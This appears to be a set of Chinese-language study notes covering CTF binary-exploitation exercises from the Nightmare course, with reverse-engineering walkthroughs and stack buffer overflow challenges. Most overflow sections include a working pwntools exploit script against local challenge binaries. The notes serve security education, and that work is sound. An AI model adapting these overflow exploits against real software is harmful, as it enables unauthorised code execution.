# Nightmare #1 ###### tags: `security` ## 01: Intro assembly - Hello world: 是 32-bit 的 ELF ![](https://i.imgur.com/0TYRppK.png) ![](https://i.imgur.com/EdojPaP.png) - objdump 可以看到 call puts() 這個 function, 用 gdb 確認, 可以知道這個檔案目的是為了 print "hello world!" - If then: 也是 32-bit 的 ELF, [ebp-0xc] 這個地方塞 0xa, 下一個指令是去做 cmp, 如果相等, print 出 "x = ten" 字串 - 初始時把 [ebp-0xc] 放 0, 之後和 0x13 (19) 比對, 如果 <=, 則用 printf 格式化印出當前的值, 並加一; 重複此步驟直到 [ebp-0xc] > 19, 所以會印出 0 1 2 ... 19 ## 02: Intro tools - gdb 中更改 print 的 string: set {char [12]} [address] = "string" ![](https://i.imgur.com/SnDhJF9.png) - pwntools - proc = pwn.remote("url", port) - proc = pwn.process("./檔名") - proc.read(x) - proc.send(x), proc.sendline(x) - proc.recvuntil("x") - pack the integer: p64(x), p32(x) ## 03: Helithumper RE - 先 recon, 是一個 64-bit ELF ![](https://i.imgur.com/aPGJijs.png) - 用 radare2 掃, 查看 validate 這個 function (pdf @sym.validate) ![](https://i.imgur.com/OBx8Zba.png) - 可以發現 flag 應該是 flag{HuCf_lAb} ![](https://i.imgur.com/2X8KKRx.png) ## 03: CSAW'19 Beleaf - 一樣先 recon, 是 64-bit ELF ![](https://i.imgur.com/0UgVkqd.png) - 用 ghidra 打開, rename 完後, 可以看到程式要求我們輸入某個長度 33 (0x21) 的字串, 經某個函數 transform 完, 須和 DAT_003014e0 表的值相同, 才會是 correct ![](https://i.imgur.com/36zm6B9.png) - 可以看到每次都是去跟位址 &DAT_00301e40 + index * 8 裡存的值去比對, 所以把這些值記錄下來 (desired_ret) ![](https://i.imgur.com/o21Hivs.png) - 接著去 dig into transform 這個 function, 我們目標是希望 return 的 i 是 01h, 09h, 11h, ... (DAT_00301e40 那張表); 所以反推回來每次的 input 依序是 &DAT_00301020 + 01h * 4, &DAT_00301020 + 09h * 4, &DAT_00301020 + 11h * 4 等位址所放的值 ![](https://i.imgur.com/KGsKmV9.png) - 接著查看 DAT_00301020 有什麼, 並記錄下來 (dict) ![](https://i.imgur.com/r0j7x3d.png) - 可以寫 exploit, 得到 flag 是 flag{we_beleaf_in_your_re_future} ```python= desired_ret = [0x01, 0x09, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x08, 0x12, 0x09, 0x12, 0x11, 0x01, 0x03, 0x13, 0x04, 0x03, 0x05, 0x15, 0x2e, 0x0a, 0x03, 0x0a, 0x12, 0x03, 0x01, 0x2e, 0x16, 0x2e, 0x0a, 0x12, 0x06] addr = [] for i in desired_ret: addr.append(hex(0x20 + i * 4)) dict = {'0x20': 'w', '0x24': 'f', '0x28': '{', '0x2c': '_', '0x30': 'n', '0x34': 'y', '0x38': '}', '0x40': 'b', '0x44': 'l', '0x48': 'r', '0x64': 'a', '0x68': 'e', '0x6c': 'i', '0x74': 'o', '0x78': 't', '0xbc': 'g', '0xd8': 'u'} flag = ''.join(map(dict.get, addr)) print(flag) ``` ![](https://i.imgur.com/eDybGFP.png) ## 04: CSAW'18 Quals Boi - 先 recon, 可以發現是一個 64-bit 的 ELF, canary 和 NX 保護都打開 ![](https://i.imgur.com/nlbWGqM.png) - 用 ghidra 打開, 可以觀察到從 stdin 讀資料進來, 若iStack36 == -0x350c4512, 即可執行 shell ![](https://i.imgur.com/oywdLeE.png) - 用 radare2 找出位址, 可以知道 iStack36 是從 [rbp-0x1c] 開始, 原本是 0xdeadbeaf, 我們目標是改成 0xcaf3baee, 可利用的 buffer 則是從 [rbp-0x30] 開始 ![](https://i.imgur.com/TXhsAev.png) - 所以可以寫 exploit 如下, 須注意 little-endian ```python= import pwn proc = pwn.process("./boi") payload = b"a" * 20 + b"\xee\xba\xf3\xca" proc.read() proc.send(payload) proc.interactive() ``` ![](https://i.imgur.com/TuGJ0Sf.png) ## 04: TAMU'19 Pwn1 - 先 recon, 可以知道是 32-bit 的 ELF ![](https://i.imgur.com/9D96qWA.png) - 用 ghidra 打開觀察, 可以知道要 bypass 第一個和第二個問題, 需要輸入 "Sir Lancelot of Camelot" 和 "To seek the Holy Grail." ![](https://i.imgur.com/E2CSThM.png) ![](https://i.imgur.com/EOZ3JZB.png) - 用 radare2 找出 gets() (dangerous function) 的 buffer 從 [ebp-0x3b] 開始, 要改的值則是放在 [ebp-0x10], 且須改成 0xdead110c8 ![](https://i.imgur.com/BNCgHN2.png) - 所以可以寫 exploit 如下, 即可取得 flag ```python= import pwn proc = pwn.process("./pwn1") stage1 = "Sir Lancelot of Camelot" stage2 = "To seek the Holy Grail." payload = b"a" * 0x2b + b"\xc8\x10\xa1\xde" proc.read() proc.sendline(stage1) proc.read() proc.sendline(stage2) proc.read() proc.sendline(payload) proc.read() ``` ![](https://i.imgur.com/9B133Xq.png) ## 04: TokyoWesterns'17 JustDoIt - Recon, 是 32-bit 的 ELF, 保護機制如下, 可以看到 PIE 沒開 ![](https://i.imgur.com/UFBWEqc.png) - 用 ghidra 打開, rename 後, 可以觀察到 31 行和 37 行, 程式會把使用輸入和某個值做比較, 如果相同, 就可以 bypass check ![](https://i.imgur.com/ggxBOhJ.png) - 用 gdb 設中斷點 run, 可以觀察到 ds:0x804a03c 所放的是 "P@SSW0RD", 所以我們的 input 需要是 "P@SSW0RD", 但須注意送 payload 的時候會把換行也給送出去, 所以要加上 \0 截斷 ![](https://i.imgur.com/ZaN1mLK.png) ![](https://i.imgur.com/HL8whCm.png) - 雖然 bypass check, 但有個問題是我們仍然無法看到 flag, 往前找前面的 source code, 發現程式已經先幫我們打開 flag.txt 然後讀內容進來, 放在 flag 裡面, 所以我們可以直接用 flag 取代成 41 行 puts 的參數; 因為 puts 的參數放在 [ebp-0xc], 可控制的 input 放在 [ebp-0x20], 所以我們只要任意填 0x14 bytes 的值, 後面加上 flag 位址 (0x804a080) 即可 ![](https://i.imgur.com/tm3Vipb.png) ![](https://i.imgur.com/W3G909c.png) ![](https://i.imgur.com/VHmNFSB.png) - 寫成 exploit ```python= import pwn proc = pwn.process("./just_do_it") payload = b"a" * 0x14 + b"\x80\xa0\x04\x08" proc.read() proc.sendline(payload) proc.read() ``` ![](https://i.imgur.com/JTM7SXF.png) ## 05: CSAW'16 Warmup - 先 recon, 可以知道是 64-bit 的 ELF, PIE 沒開 ![](https://i.imgur.com/ewuBzaS.png) - 用 ghidra 打開, 觀察到有 gets() function 可以利用, easy() function 執行 "cat flag.txt", 所以我們可以利用 gets() 的 return address, redirect 到 easy(); 找出我們的 input 是在 [rbp-0x40], 所以總共要 cover (0x40 + 8) bytes, 8 bytes 是 for old rbp 大小, 最後加上 easy() 的位址是 0x40060d ![](https://i.imgur.com/eD1QytL.png) ![](https://i.imgur.com/yFQcd7o.png) ![](https://i.imgur.com/rvzvzD5.png) - 寫成 exploit ```python= import pwn proc = pwn.process("./warmup") proc.read() payload = b"a" * (0x40 + 8) + pwn.p64(0x40060d, endian='little') proc.sendline(payload) proc.read() ``` ![](https://i.imgur.com/g0l3U9g.png) ## 05: CSAW'18 Quals Getit - 先 recon, 是 64-bit 的 ELF, PIE 沒開 ![](https://i.imgur.com/EeQEjMv.png) - 有可利用的 gets() 和 give_shell() function, 輸入的時候 overwrite gets() 的 return address, redirect 到 give_shell(); 需要 cover (0x20 + 8), give_shell() 位在 0x4005b6 ![](https://i.imgur.com/Ux7CuU8.png) ![](https://i.imgur.com/TzLDWcd.png) - 寫成 exploit, 即可取得 shell ```python= import pwn proc = pwn.process("./get_it") proc.read() payload = b"a" * (0x20 + 8) + pwn.p64(0x4005b6, endian='little') proc.sendline(payload) proc.interactive() ``` ![](https://i.imgur.com/KQ69qk1.png) ## 05: TUCFT'17 Vulnchat - 先 recon, 是 32-bit 的 ELF, PIE 沒開 ![](https://i.imgur.com/yKItt9F.png) - 用 ghidra 打開, 可以知道程式讓使用者輸入兩次, 我們可以利用這兩個 scanf 造成 overflow, redirect 到 printFlag(), 即 0x804856b 來取得 flag ![](https://i.imgur.com/mH4HcMQ.png) ![](https://i.imgur.com/NUv53Db.png) ![](https://i.imgur.com/HsZGLvW.png) - 用 gdb 查看, 原本這兩個 scanf 吃的格式都是 "%30s", 這樣的限制, 使的我們無法製造 overflow ![](https://i.imgur.com/vIm4ojU.png) - 要解決大小限制的問題, 觀察到 "%30s" 是存在 [ebp-0x5], 而第一個 scanf (輸入名稱) 的 input 是存在 [ebp-0x19], 第二個 scanf (輸入密碼) 的 input 則是 [ebp-0x2d]; 因此我們可以在第一個 scanf, 就去覆蓋到 [ebp-0x5], 修改成我們想要的格式 (eg. "%99s"), 在第二個 scanf, 再來做 redirection, 寫成 exploit 如下 ```python= import pwn proc = pwn.process("./vuln-chat") proc.read() fmt = "a" * 0x14 + "%99s" proc.sendline(fmt) proc.read() payload = b"a" * (0x2d + 4) + pwn.p32(0x0804856b, endian='little') proc.sendline(payload) proc.read() ``` ![](https://i.imgur.com/N5MHRfO.png)